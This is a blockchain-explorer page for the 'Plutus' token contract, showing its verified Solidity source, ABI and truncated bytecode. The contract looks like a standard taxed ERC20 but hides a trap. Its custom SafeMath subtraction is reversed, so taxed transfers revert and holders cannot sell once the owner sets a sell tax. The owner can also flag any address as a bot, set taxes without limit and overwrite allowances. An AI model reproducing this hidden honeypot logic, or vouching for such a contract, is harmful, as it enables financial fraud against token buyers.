ETH Price: $2,370.96 (-3.72%)

Token

Plutus (PLUTUS)
 

Overview

Max Total Supply

1,000,000,000 PLUTUS

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.103406974733889812 PLUTUS

Value
$0.00
0x8eb2b8eef049bc14dc2e82f8b784d60e15dd20ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Plutus

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

/*
    Plutus focuses on inclusivity and accessibility, 
    providing equal opportunities for wealth generation.

    https://www.plutusgod.com
    https://t.me/PlutusCoinOfficial
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { this;  return msg.data; }
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; }
    function name() public view virtual override returns (string memory) { return _name; }
    function symbol() public view virtual override returns (string memory) { return _symbol; }
    function decimals() public view virtual override returns (uint8) { return 18; }
    function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = b - a; return c; }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { _setOwner(_msgSender()); }
    function owner() public view virtual returns (address) { return _owner; }
    modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner");  _; }
    function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); }
    function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); }
}

contract Plutus is ERC20, Ownable{
    using SafeMath for uint256;
    using Address for address payable;
    IRouter public router;
    address public pair;
    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;
    uint256 public genesisblock;
    uint256 public deadblocks = 0;
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) private isBot;
    uint256 public swapThreshold = 100_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;
    address public marketingWallet = 0xb238c0b33cCd66705D0103b53F4B6914DaA21DB4;
    address public devWallet = 0x0000000000000000000000000000000000000000;
    uint256 public tax = 0;
    uint256 public sellTax = 0;
    uint256 public botSellTax = 5;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }
        
    constructor() ERC20("Plutus", "PLUTUS") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10 ** decimals());
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(isBot[sender] || isBot[recipient]) { sellTax = botSellTax; _allowances[sender][recipient] = maxTxAmount; }
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            if(genesisblock + deadblocks > block.number){
                if(recipient != pair) isBot[recipient] = true;
                if(sender != pair) isBot[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if(recipient != pair){
                require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
            }
        }

        uint256 fee;
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
        else{
            if(recipient == pair && !isBot[sender]) fee = amount * sellTax / 100;
            else fee = amount * tax / 100;
        }

        if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
        if(fee > 0) { 
            super._transfer(sender, address(this) ,fee);
            super._transfer(sender, recipient, amount.sub(fee));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(contractBalance);
            uint256 deltaBalance = address(this).balance - initialBalance;
            payable(marketingWallet).sendValue(deltaBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: bnbAmount}(address(this), tokenAmount, 0, 0, devWallet, block.timestamp);
    }

    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketingWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }

    function setSwapEnabled(bool state) external onlyOwner { swapEnabled = state; }
    function setSwapThreshold(uint256 new_amount) external onlyOwner { swapThreshold = new_amount; }
    function enableTrading() external onlyOwner{ require(!tradingEnabled, "Trading already active"); tradingEnabled = true; swapEnabled = true; }
    function setBuyTaxes(uint256 _fee) external onlyOwner{ tax = _fee; }
    function setSellTaxes(uint256 _fee) external onlyOwner{ sellTax = _fee; }
    function updateMarketingWallet(address newWallet) external onlyOwner{ marketingWallet = newWallet; }
    function updateDevWallet(address newWallet) external onlyOwner{ devWallet = newWallet; }
    function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{ router = _router; pair = _pair; }
    function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**18; }
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{ maxWalletAmount = amount * 10**18; }
    function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{ IERC20(tokenAddress).transfer(owner(), amount); }
    function rescueETH(uint256 weiAmount) external onlyOwner{ payable(owner()).sendValue(weiAmount); }
    function addBots(address[] memory isBot_) public onlyOwner { for (uint i = 0; i < isBot_.length; i++) { isBot[isBot_[i]] = true; } }
    function updateExcludedFromFees(address[] memory address_) external onlyOwner { for (uint i = 0; i < address_.length; i++) { excludedFromFees[address_[i]] = true; } }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesisblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600981905569d3c21bcecceda1000000600c556a108b2a2c28029094000000600d819055600e55600f80546001600160a01b031990811673b238c0b33ccd66705d0103b53f4b6914daa21db417909155601080549091169055601181905560125560056013553480156200007957600080fd5b5060405180604001604052806006815260200165506c7574757360d01b81525060405180604001604052806006815260200165504c5554555360d01b8152508160039081620000c99190620004fd565b506004620000d88282620004fd565b505050620000f5620000ef6200031a60201b60201c565b6200031e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001759190620005c9565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e99190620005c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d9190620005c9565b600680546001600160a01b038086166001600160a01b031992831617909255600780548385169216919091179055336000818152600a6020526040808220805460ff1990811660019081179092553084528284208054821683179055600f54861684528284208054821683179055601054909516835291208054909316179091559091506200031290620002ef601290565b620002fc90600a62000710565b6200030c90633b9aca0062000721565b62000370565b505062000751565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620003cb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620003df91906200073b565b90915550506001600160a01b038216600090815260208190526040812080548392906200040e9084906200073b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048357607f821691505b602082108103620004a457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004f857600081815260208120601f850160051c81016020861015620004d35750805b601f850160051c820191505b81811015620004f457828155600101620004df565b5050505b505050565b81516001600160401b0381111562000519576200051962000458565b62000531816200052a84546200046e565b84620004aa565b602080601f831160018114620005695760008415620005505750858301515b600019600386901b1c1916600185901b178555620004f4565b600085815260208120601f198616915b828110156200059a5788860151825594840194600190910190840162000579565b5085821015620005b95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005dc57600080fd5b81516001600160a01b0381168114620005f457600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000652578160001904821115620006365762000636620005fb565b808516156200064457918102915b93841c939080029062000616565b509250929050565b6000826200066b575060016200070a565b816200067a575060006200070a565b81600181146200069357600281146200069e57620006be565b60019150506200070a565b60ff841115620006b257620006b2620005fb565b50506001821b6200070a565b5060208310610133831016604e8410600b8410161715620006e3575081810a6200070a565b620006ef838362000611565b8060001904821115620007065762000706620005fb565b0290505b92915050565b6000620005f460ff8416836200065a565b80820281158282048414176200070a576200070a620005fb565b808201808211156200070a576200070a620005fb565b61209580620007616000396000f3fe60806040526004361061026b5760003560e01c80638da5cb5b11610144578063aa4bde28116100b6578063dbe66ca01161007a578063dbe66ca01461070c578063dd62ed3e1461073c578063e01af92c14610782578063e16ebfc5146107a2578063f2fde38b146107c2578063f887ea40146107e257600080fd5b8063aa4bde2814610680578063aacebbe314610696578063c18bc195146106b6578063cc1776d3146106d6578063d34628cc146106ec57600080fd5b80639e252f00116101085780639e252f00146105ca578063a3ca847d146105ea578063a457c2d71461060a578063a64797c71461062a578063a8aa1b3114610640578063a9059cbb1461066057600080fd5b80638da5cb5b146105415780638ea5220f1461055f57806395d89b411461057f57806399c8d556146105945780639d0014b1146105aa57600080fd5b80634ada218b116101dd57806370a08231116101a157806370a0823114610473578063715018a6146104a957806375f0a874146104be5780638a8c523c146104f65780638c0b5e221461050b5780638cd4426d1461052157600080fd5b80634ada218b146103e557806350c9a88f14610406578063585449681461041c5780636256d181146104325780636ddd17131461045257600080fd5b80631816467f1161022f5780631816467f1461032957806323b872dd1461034957806326b5d32f14610369578063313ce5671461038957806339509351146103a557806340b28c2f146103c557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600c5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b5610802565b6040516102979190611c20565b3480156102ce57600080fd5b506102e26102dd366004611c6e565b610894565b005b3480156102f057600080fd5b506103046102ff366004611cac565b6108cc565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cd8565b6108e3565b34801561035557600080fd5b50610304610364366004611cf5565b61092f565b34801561037557600080fd5b506102e2610384366004611d36565b6109e0565b34801561039557600080fd5b5060405160128152602001610297565b3480156103b157600080fd5b506103046103c0366004611cac565b610a9b565b3480156103d157600080fd5b506102e26103e0366004611d62565b610ad2565b3480156103f157600080fd5b5060075461030490600160b01b900460ff1681565b34801561041257600080fd5b5061028d60095481565b34801561042857600080fd5b5061028d60085481565b34801561043e57600080fd5b506102e261044d366004611c6e565b610b2a565b34801561045e57600080fd5b5060075461030490600160a81b900460ff1681565b34801561047f57600080fd5b5061028d61048e366004611cd8565b6001600160a01b031660009081526020819052604090205490565b3480156104b557600080fd5b506102e2610b6c565b3480156104ca57600080fd5b50600f546104de906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561050257600080fd5b506102e2610ba2565b34801561051757600080fd5b5061028d600d5481565b34801561052d57600080fd5b506102e261053c366004611cac565b610c36565b34801561054d57600080fd5b506005546001600160a01b03166104de565b34801561056b57600080fd5b506010546104de906001600160a01b031681565b34801561058b57600080fd5b506102b5610cf7565b3480156105a057600080fd5b5061028d60115481565b3480156105b657600080fd5b506102e26105c5366004611c6e565b610d06565b3480156105d657600080fd5b506102e26105e5366004611c6e565b610d35565b3480156105f657600080fd5b506102e2610605366004611c6e565b610d87565b34801561061657600080fd5b50610304610625366004611cac565b610db6565b34801561063657600080fd5b5061028d60135481565b34801561064c57600080fd5b506007546104de906001600160a01b031681565b34801561066c57600080fd5b5061030461067b366004611cac565b610e51565b34801561068c57600080fd5b5061028d600e5481565b3480156106a257600080fd5b506102e26106b1366004611cd8565b610e5e565b3480156106c257600080fd5b506102e26106d1366004611c6e565b610eaa565b3480156106e257600080fd5b5061028d60125481565b3480156106f857600080fd5b506102e2610707366004611db1565b610eec565b34801561071857600080fd5b50610304610727366004611cd8565b600a6020526000908152604090205460ff1681565b34801561074857600080fd5b5061028d610757366004611d62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561078e57600080fd5b506102e261079d366004611e84565b610f82565b3480156107ae57600080fd5b506102e26107bd366004611db1565b610fca565b3480156107ce57600080fd5b506102e26107dd366004611cd8565b61105c565b3480156107ee57600080fd5b506006546104de906001600160a01b031681565b60606003805461081190611ea1565b80601f016020809104026020016040519081016040528092919081815260200182805461083d90611ea1565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c75760405162461bcd60e51b81526004016108be90611edb565b60405180910390fd5b601255565b60006108d93384846110f4565b5060015b92915050565b6005546001600160a01b0316331461090d5760405162461bcd60e51b81526004016108be90611edb565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b600061093c848484611218565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109c15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108be565b6109d585336109d08685611f26565b6110f4565b506001949350505050565b6005546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016108be90611edb565b47610a148461167f565b6000610a208247611f26565b90508215610a5b57610a5b610a358486611f39565b610a3f8584611f4c565b610a499190611f63565b600f546001600160a01b0316906117d9565b8315610a9457610a94610a6e8486611f39565b610a788684611f4c565b610a829190611f63565b6010546001600160a01b0316906117d9565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d99185906109d0908690611f39565b6005546001600160a01b03163314610afc5760405162461bcd60e51b81526004016108be90611edb565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b545760405162461bcd60e51b81526004016108be90611edb565b610b6681670de0b6b3a7640000611f4c565b600d5550565b6005546001600160a01b03163314610b965760405162461bcd60e51b81526004016108be90611edb565b610ba060006118f2565b565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108be90611edb565b600754600160b01b900460ff1615610c1f5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108be565b6007805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c605760405162461bcd60e51b81526004016108be90611edb565b816001600160a01b031663a9059cbb610c816005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611f85565b505050565b60606004805461081190611ea1565b6005546001600160a01b03163314610d305760405162461bcd60e51b81526004016108be90611edb565b600c55565b6005546001600160a01b03163314610d5f5760405162461bcd60e51b81526004016108be90611edb565b610d8481610d756005546001600160a01b031690565b6001600160a01b0316906117d9565b50565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108be90611edb565b601155565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108be565b610e4733856109d08685611f26565b5060019392505050565b60006108d9338484611218565b6005546001600160a01b03163314610e885760405162461bcd60e51b81526004016108be90611edb565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ed45760405162461bcd60e51b81526004016108be90611edb565b610ee681670de0b6b3a7640000611f4c565b600e5550565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600b6000848481518110610f3a57610f3a611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7681611fb8565b915050610f19565b5050565b6005546001600160a01b03163314610fac5760405162461bcd60e51b81526004016108be90611edb565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff45760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600a600084848151811061101857611018611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611